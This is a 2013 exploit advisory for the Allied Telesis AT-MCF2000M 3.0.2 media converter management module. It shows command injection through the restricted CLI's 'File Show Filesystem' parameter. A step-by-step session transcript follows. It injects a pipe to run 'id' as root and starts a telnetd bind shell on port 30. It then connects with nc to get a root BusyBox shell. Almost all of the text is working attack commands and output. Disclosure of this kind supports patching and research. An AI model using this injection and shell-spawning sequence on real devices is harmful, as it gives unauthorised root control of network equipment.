:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2013-01-02 ] #################################################################### # [ Allied Telesis AT-MCF2000M 3.0.2 ] Gaining Root Shell Access # #################################################################### # # Device: "The AT-MCF2000M is the management module for the AT-MCF2000 two-slot chassis. # With the AT-MCF2000M management module, if there is a blade failure, # insertion or removal, your traffic flow will not be interupted.." # # Vendor: http://www.alliedtelesis.com/ # Product: http://www.alliedtelesis.com/p-2265.html # Software Download: ftp://ftp.alliedtelesis.com/pub/medconv/mcf2000/AT-S85_S97_v302.ZIP # ################################################################### # Vulnerability: Logging in system via ssh/telnet, is necessary to using this vulnerability. After logging in, user has access to client menu(/sbin/AtiCli), without access to the shell. User-supplied data are not validated properly. In section "File Show Filesystem=system://0/m/", is possible to inject command with using special characters: "|;&. Commands are limited to max 25 characters. Chars / are filtered. For example: # File Show Filesystem=system://0/m/";echo 11111111111111111111" File name can be only up to 25 alphanumeric characters. <>20:54:16::File Show Filesystem=system://0/m/";echo 11111111111111111111"::DENY(CLI_STRING_LENGTH_OUT_OF_RANGE)::[00.002] # # File Show Filesystem=system://0/m/";ls -al /" <>20:55:00::File Show Filesystem=system://0/m/";ls -al /"::DENY(CLI_INVALID_PARAMETER)::[00.002] Getting root access: root@debian:~# ssh 10.11.200.2 -------------------------------------------------------------------------------- Allied Telesis Media Converter AT-MCF2000 -------------------------------------------------------------------------------- Login: manager Password: ******* Allied Telesis Media Converter - Version 3.0.2 <No System Name> # ? COnfiguration - Configuration related commands DIagnostics - Diagnostics related commands File - File related commands IP - IP related commands Logging - Logging related commands Ntp - Ntp related commands Ping - Ping a host System - System related commands Telnet - Telnet related commands SNMP - Snmp related commands SSh - SSH related commands User - User management commands CLear - Clear the terminal screen Help - CLI help information EXit - Exit # File Show Filesystem=system://0/m/ Module 0/M File System: -rw-r--r-- 1 0 0 2640 Jan 1 15:27 BM_0_1.cfg -rw-r--r-- 1 0 0 2612 Jan 1 15:27 BM_0_2.cfg -rw-r--r-- 1 0 0 1355 Jan 1 15:27 MM.cfg -rw-r--r-- 1 0 0 310 Dec 31 13:17 file.inf -rw-r--r-- 1 0 0 6609 Jan 1 15:27 mcf_chassis0.cfg # File Show Filesystem=system://0/m/BM_0_1.cfg Module 0/M File System: -rw-r--r-- 1 0 0 2640 Jan 1 15:27 BM_0_1.cfg # File Show Filesystem=system://0/m/test Module 0/M File System: ls: test: No such file or directory <>18:55:19::File Show Filesystem=system://0/m/test::COMPL::[00.052] # File Show Filesystem=system://0/m/|id Module 0/M File System: uid=0 gid=0 # File Show Filesystem=system://0/m/|"telnetd -l${SHELL} -p30" Module 0/M File System: <>19:00:41::File Show Filesystem=system://0/m/|"telnetd -l${SHELL} -p30"::COMPL::[00.061] # File Show Filesystem=system://0/m/|"ps aux|grep telnet" Module 0/M File System: 25 0 336 S /usr/sbin/telnetd -l /sbin/AtiCli 497 0 192 S telnetd -l/bin/sh -p30 <>19:01:02::File Show Filesystem=system://0/m/|"ps aux|grep telnet"::COMPL::[00.117] # exit <>19:01:40::exit::COMPL::[00.001] # logging out. Connection to 10.11.200.2 closed. root@debian:~# nc 10.11.200.2 30 BusyBox v1.01 (2005.09.07-23:28+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. / # id uid=0 gid=0 / # uname -a Linux (none) 2.6.14 #2 Thu Jul 23 17:15:38 PDT 2009 ppc unknown / # cat /proc/version Linux version 2.6.14 (schen@arun-linux) (gcc version 3.4.4) #2 Thu Jul 23 17:15:38 PDT 2009 / # ls -al drwxr-xr-x 15 1046 1002 1024 Jan 1 18:58 . drwxr-xr-x 15 1046 1002 1024 Jan 1 18:58 .. -rw-r--r-- 1 0 0 125 Jan 1 19:10 .ash_history -rw-r--r-- 1 0 0 0 Jan 1 13:24 1 drwxr-xr-x 2 0 0 1024 Aug 10 2009 bin drwxr-xr-x 3 0 0 0 Jan 1 15:27 cfg drwxr-xr-x 4 0 0 2048 Aug 10 2009 dev drwxr-xr-x 10 0 0 1024 Jan 1 1970 etc drwxr-xr-x 4 0 0 1024 Aug 10 2009 lib drwxr-xr-x 2 0 0 12288 Aug 10 2009 lost+found drwxr-xr-x 3 0 0 1024 Aug 10 2009 mnt dr-xr-xr-x 49 0 0 0 Jan 1 1970 proc drwx------ 2 0 0 1024 Aug 10 2009 root drwxr-xr-x 2 0 0 1024 Aug 10 2009 sbin drwxrwxrwt 2 0 0 1024 Jan 1 19:06 tmp drwxr-xr-x 6 0 0 1024 Aug 10 2009 usr drwxr-xr-x 7 0 0 1024 Jan 1 1970 var / # echo pwnd! :) & exit pwnd! :) Connection closed by foreign host. root@debian:~#